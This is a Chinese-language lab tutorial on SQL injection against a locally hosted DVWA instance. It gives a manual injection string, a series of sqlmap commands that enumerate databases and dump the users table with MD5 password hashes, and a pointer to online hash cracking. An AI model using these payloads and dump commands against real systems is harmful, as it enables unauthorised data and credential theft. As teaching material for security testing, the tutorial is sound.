介绍
在这个实验中,你将学习如何使用 sqlmap(一款自动化 SQL 注入和数据库接管工具)来利用 SQL 注入漏洞。你将练习安装 sqlmap、配置一个易受攻击的 Web 应用程序(DVWA),并执行各种 SQL 注入攻击以提取敏感数据。
该实验展示了识别注入点、执行数据库查询以及分析提取信息的实用技术。通过这个实践练习,你将获得进攻性安全测试和防御性漏洞评估所需的关键技能。
在这个实验中,你将学习如何使用 sqlmap(一款自动化 SQL 注入和数据库接管工具)来利用 SQL 注入漏洞。你将练习安装 sqlmap、配置一个易受攻击的 Web 应用程序(DVWA),并执行各种 SQL 注入攻击以提取敏感数据。
该实验展示了识别注入点、执行数据库查询以及分析提取信息的实用技术。通过这个实践练习,你将获得进攻性安全测试和防御性漏洞评估所需的关键技能。
在这一步中,你将安装 sqlmap,这是一款流行的开源渗透测试工具,用于检测和利用 SQL 注入漏洞。SQL 注入是一种常见的 Web 安全漏洞,攻击者可借此干扰数据库查询。sqlmap 能自动完成检测和利用这些漏洞的过程。
sqlmap 是用 Python 编写的,因此我们将使用 Python 的包管理器 pip 来安装它。pip 是 Python 自带的工具,可帮助你安装和管理额外的 Python 包。请仔细按照以下步骤操作:
cd ~/project
pip install --upgrade pip
pip install sqlmap
sqlmap --version
你应该会看到类似以下的输出:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...
[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x
这确认 sqlmap 已成功安装。由于 pip 会将包安装到用户的 Python 环境中,因此该工具在你的系统中全局可用。法律声明提醒你,sqlmap 只能用于你已获得测试权限的系统。
初学者的关键点:
--upgrade 标志可将 pip 自身更新到最新版本--version 标志是在许多命令行工具中验证安装的标准方法在这一步中,你将设置一个名为“Damn Vulnerable Web Application”(DVWA)的故意设计为易受攻击的 Web 应用程序,它包含 SQL 注入漏洞。这将作为我们使用 sqlmap 练习 SQL 注入技术的测试环境。DVWA 是专门为安全专业人员和学生设计的,用于在安全、合法的环境中学习 Web 漏洞相关知识。
~/project 目录是我们存放所有实验文件的地方:cd ~/project
git clone https://github.com/digininja/DVWA.git
cd DVWA
0.0.0.0 表示服务器将接受来自任何网络接口的连接:php -S 0.0.0.0:8000
在保持服务器运行的同时,打开一个新的终端标签页(右键单击终端并选择“New Tab”)。这使你可以在 Web 服务器保持活动的同时继续工作。
在新标签页中,验证服务器是否正常运行。curl 命令会获取主页内容,以确认应用程序正在响应:
curl http://localhost:8000
你应该会看到包含“Damn Vulnerable Web Application (DVWA)”的 HTML 输出。
对于初学者理解这些组件:
php -S) 是在开发过程中运行 PHP 应用程序的简单方法注意:在整个实验过程中,请保持第一个终端标签页中的服务器运行。所有后续步骤都将使用这个易受攻击的应用程序。如果你不小心关闭了这个标签页,你需要重复步骤 4 来重新启动服务器。
在这一步中,我们将学习如何在 DVWA(Damn Vulnerable Web Application)中识别基本的 SQL 注入漏洞。在使用 sqlmap 等自动化工具之前,这是至关重要的第一步,因为我们需要手动确认漏洞所在的位置。
cd ~/project/DVWA && php -S 0.0.0.0:8000
此命令会在 8000 端口启动一个运行 DVWA 的 PHP Web 服务器。
http://localhost:8000
Username: admin
Password: password
这些是 DVWA 提供的用于测试目的的默认凭据。
将安全级别设置为“low”(左侧菜单:DVWA Security -> set to Low -> Submit)
DVWA 有不同的安全级别,我们使用“low”级别是为了在没有防护措施的情况下演示基本漏洞。
在左侧菜单中导航到“SQL Injection”
这里是我们测试 SQL 注入漏洞的地方。
在“User ID”字段中输入以下内容来测试 SQL 注入:
1' OR '1'='1
这是一个经典的 SQL 注入测试字符串。让我们来分析一下:
初学者的关键概念:
这次成功的测试表明“User ID”参数容易受到 SQL 注入攻击。在下一步中,我们将使用这个已确认的漏洞点,结合 sqlmap 进行更高级的利用。请记住,手动查找注入点有助于理解自动化工具的工作原理。
在这一步中,你将使用自动化 SQL 注入工具 sqlmap 来利用我们之前识别出的漏洞。SQL 注入使攻击者能够直接与数据库进行交互,而 sqlmap 则通过测试参数和提取信息来帮助自动化这一过程。
cd ~/project
--cookie 参数在这里至关重要,因为 DVWA 需要进行身份验证。将 <PHPSESSID> 替换为你登录 DVWA 时获得的 cookie 值:sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch
--batch 标志指示 sqlmap 自动使用默认选项,这对初学者学习该工具很有帮助。
当 sqlmap 询问是否保存会话时,输入“Y”并按回车键。这允许你在需要时稍后恢复扫描。
要发现服务器上存在哪些数据库,我们将使用 --dbs 标志,它代表“databases”:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
available databases [2]:
[*] dvwa
[*] information_schema
dvwa 是我们的目标数据库,而 information_schema 是一个包含元数据的标准 MySQL 数据库。
-D 参数指定数据库名称,--tables 列出其内容:sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch
关键参数解释:
--cookie:包含你的会话凭证,以维持经过身份验证的访问--batch:以非交互模式运行 sqlmap,使用默认选项--dbs:发现服务器上可用的数据库名称-D:选择要调查的特定数据库--tables:检索所选数据库中的表列表在这一步中,我们将检查 sqlmap 通过 SQL 注入成功提取的敏感数据库信息。这通过展示攻击者能够访问的确切数据,说明了 SQL 注入漏洞在现实世界中的影响。
users 表中检索所有数据。此命令是在我们之前操作的基础上进行的,但现在我们专门针对 users 表以查看凭证信息(将 <PHPSESSID> 替换为你的会话 cookie):sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
-D dvwa 指定数据库,-T users 目标为 users 表,--dump 检索其所有内容。
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
注意,密码列包含的是 MD5 哈希值,而非明文密码。虽然这比存储原始密码要好,但 MD5 被认为在密码学上已被破解,容易受到彩虹表攻击。
你可以通过复制并粘贴哈希值,使用 CrackStation 等在线工具尝试破解这些哈希值。这展示了弱哈希算法如何被逆向破解以揭示原始密码。
为了了解完整的数据库结构,我们可以检索其模式:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
--schema 标志会显示所有表及其列结构,为攻击者提供整个数据库的路线图。这对于进一步的利用来说是极其有价值的信息。
初学者的关键要点:
--dump 参数可从指定表中提取所有数据在本次实验中,你学习了如何安装和使用 sqlmap 进行 SQL 注入测试,从通过 pip 安装和版本验证进行环境设置开始。本实验指导你将 DVWA 部署为易受攻击的目标,并搭建了本地测试服务器。
你已经练习了如何识别 SQL 注入漏洞,并使用 sqlmap 的自动化工具提取数据。这些练习涵盖了基本的命令行操作,同时展示了用于检测数据库漏洞的实用网络安全测试技术。